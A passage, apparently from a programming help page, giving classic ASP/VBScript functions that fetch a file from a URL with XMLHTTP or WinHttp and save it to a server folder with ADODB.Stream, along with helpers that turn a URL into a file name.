RS.Update
RSBinaryToString = RS("mBinary")
Else
RSBinaryToString = ""
End If
End Function
Function MultiByteToBinary(MultiByte)
''# © 2000 Antonin Foller, http://www.motobit.com
''# MultiByteToBinary converts multibyte string To real binary data (VT_UI1 | VT_ARRAY)
''# Using recordset
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte & ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function
Function GetBinarySource(url, ByRef strError)
Dim objXML
Set objXML=Server.CreateObject("Microsoft.XMLHTTP")
GetBinarySource=""
strError = ""
On Error Resume Next
objXML.Open "GET", url, False
objXML.Send
If Err.Number<>0 Then
Err.Clear
Set objXML = Server.CreateObject("MSXML2.ServerXMLHTTP")
objXML.Open "GET", url, False
objXML.Send
If Err.Number<>0 Then
strError = "Error " & Err.Number & ": " & Err.Description
Err.Clear
Exit Function
End If
End If
On Error Goto 0
GetBinarySource=objXML.ResponseBody
Set objXML=Nothing
End Function
Function GetCleanName(s)
Dim result, x, c
Dim arrTemp
arrTemp = Split(s, "/")
If UBound(arrTemp)>0 Then
For x=0 To UBound(arrTemp)-1
result = result & GetCleanName(arrTemp(x)) & "_"
Next
result = result & GetPageName(s)
Else
For x=1 To Len(s)
c = Mid(s, x, 1)
If IsValidChar(c) Then
result = result & c
Else
result = result & "_"
End If
Next
End If
Erase arrTemp
GetCleanName = result
End Function
Function IsValidChar(c)
IsValidChar = (c >= "a" And c <= "z") Or (c >= "A" And c <= "Z") Or (IsNumeric(c))
End Function
Function GetPageName(strUrl)
If Len(strUrl)>0 Then
GetPageName=Mid(strUrl, InStrRev(strUrl, "/")+1, Len(strUrl))
Else
GetPageName=""
End If
End Function
%>
Just call SaveOnServer sub routine passing the URL and desired file name, you can also omit the file name and in that case, the file name will be taken from the URL itself.
The server folder is defined as constant and will be in the same place as .asp file.
Here is the gist of how to download and save files in script:-
Function DownloadAndSave(sourceUrl, destinationFile)
Dim req : Set req = CreateObject("WinHttp.WinHttpRequest.5.1")
req.Open "GET", sourceUrl, false
req.Send
Dim stream : Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ''# adTypeBinary
stream.Open
stream.Write req.ResponseBody
stream.SaveToFile destinationFile, 2
stream.Close
End Function

Resources